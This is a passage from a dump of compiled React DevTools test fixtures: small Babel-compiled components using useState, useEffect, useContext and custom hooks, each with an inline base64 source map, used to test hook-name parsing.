fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5LmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50U3RhdGUiLCJjb3VudCIsInNldENvdW50IiwiZGFya01vZGUiLCJ1c2VJc0RhcmtNb2RlIiwiaXNEYXJrTW9kZSIsImhhbmRsZUNsaWNrIiwiZGFya01vZGVTdGF0ZSIsInVzZUVmZmVjdENyZWF0ZSJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVBLFNBQUFBLFNBQUEsR0FBQTtBQUNBLFFBQUFDLFVBQUEsR0FBQSxxQkFBQSxDQUFBLENBQUE7QUFDQSxRQUFBQyxLQUFBLEdBQUFELFVBQUEsQ0FBQSxDQUFBLENBQUE7QUFDQSxRQUFBRSxRQUFBLEdBQUFGLFVBQUEsQ0FBQSxDQUFBLENBQUE7QUFFQSxRQUFBRyxRQUFBLEdBQUFDLGFBQUEsRUFBQTtBQUNBLFFBQUEsQ0FBQUMsVUFBQSxJQUFBRixRQUFBO0FBRUEsd0JBQUEsTUFBQSxDQUNBO0FBQ0EsR0FGQSxFQUVBLEVBRkE7O0FBSUEsUUFBQUcsV0FBQSxHQUFBLE1BQUFKLFFBQUEsQ0FBQUQsS0FBQSxHQUFBLENBQUEsQ0FBQTs7QUFFQSxzQkFDQSx5RUFDQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFBQUksVUFBQSxDQURBLGVBRUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsZ0JBQUFKLEtBQUEsQ0FGQSxlQUdBO0FBQUEsSUFBQSxPQUFBLEVBQUFLLFdBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsb0JBSEEsQ0FEQTtBQU9BOztBQUVBLFNBQUFGLGFBQUEsR0FBQTtBQUNBLFFBQUFHLGFBQUEsR0FBQSxxQkFBQSxLQUFBLENBQUE7QUFDQSxRQUFBLENBQUFGLFVBQUEsSUFBQUUsYUFBQTtBQUVBLHdCQUFBLFNBQUFDLGVBQUEsR0FBQSxDQUNBO0FBQ0EsR0FGQSxFQUVBLEVBRkE7QUFJQSxTQUFBLENBQUFILFVBQUEsRUFBQSxNQUFBLENBQUEsQ0FBQSxDQUFBO0FBQ0EiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlRWZmZWN0LCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gQ29tcG9uZW50KCkge1xuICBjb25zdCBjb3VudFN0YXRlID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGNvdW50ID0gY291bnRTdGF0ZVswXTtcbiAgY29uc3Qgc2V0Q291bnQgPSBjb3VudFN0YXRlWzFdO1xuXG4gIGNvbnN0IGRhcmtNb2RlID0gdXNlSXNEYXJrTW9kZSgpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZTtcblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIC8vIC4uLlxuICB9LCBbXSk7XG5cbiAgY29uc3QgaGFuZGxlQ2xpY2sgPSAoKSA9PiBzZXRDb3VudChjb3VudCArIDEpO1xuXG4gIHJldHVybiAoXG4gICAgPD5cbiAgICAgIDxkaXY+RGFyayBtb2RlPyB7aXNEYXJrTW9kZX08L2Rpdj5cbiAgICAgIDxkaXY+Q291bnQ6IHtjb3VudH08L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBkYXJrTW9kZVN0YXRlID0gdXNlU3RhdGUoZmFsc2UpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZVN0YXRlO1xuXG4gIHVzZUVmZmVjdChmdW5jdGlvbiB1c2VFZmZlY3RDcmVhdGUoKSB7XG4gICAgLy8gSGVyZSBpcyB3aGVyZSB3ZSBtYXkgbGlzdGVuIHRvIGEgXCJ0aGVtZVwiIGV2ZW50Li4uXG4gIH0sIFtdKTtcblxuICByZXR1cm4gW2lzRGFya01vZGUsICgpID0+IHt9XTtcbn1cbiJdfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/no-columns/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhDdXN0b21Ib29rLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiLCJpc0RhcmtNb2RlIiwidXNlSXNEYXJrTW9kZSIsImZvbyIsInVzZUZvbyIsImhhbmRsZUNsaWNrIiwidXNlRWZmZWN0Q3JlYXRlIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7Ozs7Ozs7O0FBRUEsU0FBQUEsU0FBQSxHQUFBO0FBQ0EsUUFBQSxDQUFBQyxLQUFBLEVBQUFDLFFBQUEsSUFBQSxxQkFBQSxDQUFBLENBQUE7QUFDQSxRQUFBQyxVQUFBLEdBQUFDLGFBQUEsRUFBQTtBQUNBLFFBQUE7QUFBQUMsSUFBQUE7QUFBQSxNQUFBQyxNQUFBLEVBQUE7QUFFQSx3QkFBQSxNQUFBLENBQ0E7QUFDQSxHQUZBLEVBRUEsRUFGQTs7QUFJQSxRQUFBQyxXQUFBLEdBQUEsTUFBQUwsUUFBQSxDQUFBRCxLQUFBLEdBQUEsQ0FBQSxDQUFBOztBQUVBLHNCQUNBLHlFQUNBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLG9CQUFBRSxVQUFBLENBREEsZUFFQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFBQUYsS0FBQSxDQUZBLGVBR0E7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsY0FBQUksR0FBQSxDQUhBLGVBSUE7QUFBQSxJQUFBLE9BQUEsRUFBQUUsV0FBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFKQSxDQURBO0FBUUE7O0FBRUEsU0FBQUgsYUFBQSxHQUFBO0FBQ0EsUUFBQSxDQUFBRCxVQUFBLElBQUEscUJBQUEsS0FBQSxDQUFBO0FBRUEsd0JBQUEsU0FBQUssZUFBQSxHQUFBLENBQ0E7QUFDQSxHQUZBLEVBRUEsRUFGQTtBQUlBLFNBQUFMLFVBQUE7QUFDQTs7QUFFQSxTQUFBRyxNQUFBLEdBQUE7QUFDQSw0QkFBQSxLQUFBO0FBQ0EsU0FBQTtBQUFBRCxJQUFBQSxHQUFBLEVBQUE7QUFBQSxHQUFBO0FBQ0EiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlRGVidWdWYWx1ZSwgdXNlRWZmZWN0LCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gQ29tcG9uZW50KCkge1xuICBjb25zdCBbY291bnQsIHNldENvdW50XSA9IHVzZVN0YXRlKDApO1xuICBjb25zdCBpc0RhcmtNb2RlID0gdXNlSXNEYXJrTW9kZSgpO1xuICBjb25zdCB7Zm9vfSA9IHVzZUZvbygpO1xuXG4gIHVzZUVmZmVjdCgoKSA9PiB7XG4gICAgLy8gLi4uXG4gIH0sIFtdKTtcblxuICBjb25zdCBoYW5kbGVDbGljayA9ICgpID0+IHNldENvdW50KGNvdW50ICsgMSk7XG5cbiAgcmV0dXJuIChcbiAgICA8PlxuICAgICAgPGRpdj5EYXJrIG1vZGU/IHtpc0RhcmtNb2RlfTwvZGl2PlxuICAgICAgPGRpdj5Db3VudDoge2NvdW50fTwvZGl2PlxuICAgICAgPGRpdj5Gb286IHtmb299PC9kaXY+XG4gICAgICA8YnV0dG9uIG9uQ2xpY2s9e2hhbmRsZUNsaWNrfT5VcGRhdGUgY291bnQ8L2J1dHRvbj5cbiAgICA8Lz5cbiAgKTtcbn1cblxuZnVuY3Rpb24gdXNlSXNEYXJrTW9kZSgpIHtcbiAgY29uc3QgW2lzRGFya01vZGVdID0gdXNlU3RhdGUoZmFsc2UpO1xuXG4gIHVzZUVmZmVjdChmdW5jdGlvbiB1c2VFZmZlY3RDcmVhdGUoKSB7XG4gICAgLy8gSGVyZSBpcyB3aGVyZSB3ZSBtYXkgbGlzdGVuIHRvIGEgXCJ0aGVtZVwiIGV2ZW50Li4uXG4gIH0sIFtdKTtcblxuICByZXR1cm4gaXNEYXJrTW9kZTtcbn1cblxuZnVuY3Rpb24gdXNlRm9vKCkge1xuICB1c2VEZWJ1Z1ZhbHVlKCdmb28nKTtcbiAgcmV0dXJuIHtmb286IHRydWV9O1xufVxuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/no-columns/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsInRoZW1lIl0sIm1hcHBpbmdzIjoiOzs7Ozs7O0FBU0E7O0FBQ0E7Ozs7OztBQUVBLFNBQUFBLFNBQUEsR0FBQTtBQUNBLFFBQUFDLEtBQUEsR0FBQSx3QkFBQTtBQUVBLHNCQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGdCQUFBQSxLQUFBLENBQUE7QUFDQSIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogQ29weXJpZ2h0IChjKSBGYWNlYm9vaywgSW5jLiBhbmQgaXRzIGFmZmlsaWF0ZXMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKlxuICogQGZsb3dcbiAqL1xuXG5pbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnO1xuaW1wb3J0IHVzZVRoZW1lIGZyb20gJy4vdXNlVGhlbWUnO1xuXG5leHBvcnQgZnVuY3Rpb24gQ29tcG9uZW50KCkge1xuICBjb25zdCB0aGVtZSA9IHVzZVRoZW1lKCk7XG5cbiAgcmV0dXJuIDxkaXY+dGhlbWU6IHt0aGVtZX08L2Rpdj47XG59XG4iXX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/no-columns/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZS5qcyJdLCJuYW1lcyI6WyJBIiwiQiIsIkNvbXBvbmVudCIsImEiLCJiIiwiYyIsImQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7QUFUQTs7Ozs7Ozs7QUFXQSxNQUFBQSxDQUFBLGdCQUFBLDBCQUFBLENBQUEsQ0FBQTtBQUNBLE1BQUFDLENBQUEsZ0JBQUEsMEJBQUEsQ0FBQSxDQUFBOztBQUVBLFNBQUFDLFNBQUEsR0FBQTtBQUNBLFFBQUFDLENBQUEsR0FBQSx1QkFBQUgsQ0FBQSxDQUFBO0FBQ0EsUUFBQUksQ0FBQSxHQUFBLHVCQUFBSCxDQUFBLENBQUEsQ0FGQSxDQUlBOztBQUNBLFFBQUFJLENBQUEsR0FBQSx1QkFBQUwsQ0FBQSxDQUFBO0FBQUEsUUFBQU0sQ0FBQSxHQUFBLHVCQUFBTCxDQUFBLENBQUEsQ0FMQSxDQUtBOztBQUVBLFNBQUFFLENBQUEsR0FBQUMsQ0FBQSxHQUFBQyxDQUFBLEdBQUFDLENBQUE7QUFDQSIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogQ29weXJpZ2h0IChjKSBGYWNlYm9vaywgSW5jLiBhbmQgaXRzIGFmZmlsaWF0ZXMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKlxuICogQGZsb3dcbiAqL1xuXG5pbXBvcnQge2NyZWF0ZUNvbnRleHQsIHVzZUNvbnRleHR9IGZyb20gJ3JlYWN0JztcblxuY29uc3QgQSA9IGNyZWF0ZUNvbnRleHQoMSk7XG5jb25zdCBCID0gY3JlYXRlQ29udGV4dCgyKTtcblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgYSA9IHVzZUNvbnRleHQoQSk7XG4gIGNvbnN0IGIgPSB1c2VDb250ZXh0KEIpO1xuXG4gIC8vIHByZXR0aWVyLWlnbm9yZVxuICBjb25zdCBjID0gdXNlQ29udGV4dChBKSwgZCA9IHVzZUNvbnRleHQoQik7IC8vIGVzbGludC1kaXNhYmxlLWxpbmUgb25lLXZhclxuXG4gIHJldHVybiBhICsgYiArIGMgKyBkO1xufVxuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/no-columns/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFdpdGhOZXN0ZWRIb29rcy5qcyJdLCJuYW1lcyI6WyJ1c2VNZW1vIiwidXNlU3RhdGUiLCJyZXF1aXJlIiwiQ29tcG9uZW50IiwicHJvcHMiLCJJbm5lckNvbXBvbmVudCIsInN0YXRlIiwiY2FsbGJhY2siLCJtb2R1bGUiLCJleHBvcnRzIl0sIm1hcHBpbmdzIjoiOztBQUFBOzs7Ozs7OztBQVFBLE1BQUE7QUFBQUEsRUFBQUEsT0FBQTtBQUFBQyxFQUFBQTtBQUFBLElBQUFDLE9BQUEsQ0FBQSxPQUFBLENBQUE7O0FBRUEsU0FBQUMsU0FBQSxDQUFBQyxLQUFBLEVBQUE7QUFDQSxRQUFBQyxjQUFBLEdBQUFMLE9BQUEsQ0FBQSxNQUFBLE1BQUE7QUFDQSxVQUFBLENBQUFNLEtBQUEsSUFBQUwsUUFBQSxDQUFBLENBQUEsQ0FBQTtBQUVBLFdBQUFLLEtBQUE7QUFDQSxHQUpBLENBQUE7QUFLQUYsRUFBQUEsS0FBQSxDQUFBRyxRQUFBLENBQUFGLGNBQUE7QUFFQSxTQUFBLElBQUE7QUFDQTs7QUFFQUcsTUFBQSxDQUFBQyxPQUFBLEdBQUE7QUFBQU4sRUFBQUE7QUFBQSxDQUFBIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5jb25zdCB7dXNlTWVtbywgdXNlU3RhdGV9ID0gcmVxdWlyZSgncmVhY3QnKTtcblxuZnVuY3Rpb24gQ29tcG9uZW50KHByb3BzKSB7XG4gIGNvbnN0IElubmVyQ29tcG9uZW50ID0gdXNlTWVtbygoKSA9PiAoKSA9PiB7XG4gICAgY29uc3QgW3N0YXRlXSA9IHVzZVN0YXRlKDApO1xuXG4gICAgcmV0dXJuIHN0YXRlO1xuICB9KTtcbiAgcHJvcHMuY2FsbGJhY2soSW5uZXJDb21wb25lbnQpO1xuXG4gIHJldHVybiBudWxsO1xufVxuXG5tb2R1bGUuZXhwb3J0cyA9IHtDb21wb25lbnR9O1xuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/no-columns/ContainingStringSourceMappingURL.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbnRhaW5pbmdTdHJpbmdTb3VyY2VNYXBwaW5nVVJMLmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50Iiwic2V0Q291bnQiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFFQTtBQUVBLFNBQUFBLFNBQUEsR0FBQTtBQUNBLFFBQUEsQ0FBQUMsS0FBQSxFQUFBQyxRQUFBLElBQUEscUJBQUEsQ0FBQSxDQUFBO0FBRUEsc0JBQ0E7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsa0JBQ0E7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEscUJBQUFELEtBQUEsV0FEQSxlQUVBO0FBQUEsSUFBQSxPQUFBLEVBQUEsTUFBQUMsUUFBQSxDQUFBRCxLQUFBLEdBQUEsQ0FBQSxDQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGdCQUZBLENBREE7QUFNQSIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogQ29weXJpZ2h0IChjKSBGYWNlYm9vaywgSW5jLiBhbmQgaXRzIGFmZmlsaWF0ZXMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKlxuICogQGZsb3dcbiAqL1xuXG5pbXBvcnQgUmVhY3QsIHt1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG4vLyA/c291cmNlTWFwcGluZ1VSTD0oW15cXHMnXCJdKykvZ21cblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50LCBzZXRDb3VudF0gPSB1c2VTdGF0ZSgwKTtcblxuICByZXR1cm4gKFxuICAgIDxkaXY+XG4gICAgICA8cD5Zb3UgY2xpY2tlZCB7Y291bnR9IHRpbWVzPC9wPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXsoKSA9PiBzZXRDb3VudChjb3VudCArIDEpfT5DbGljayBtZTwvYnV0dG9uPlxuICAgIDwvZGl2PlxuICApO1xufVxuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/no-columns/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# 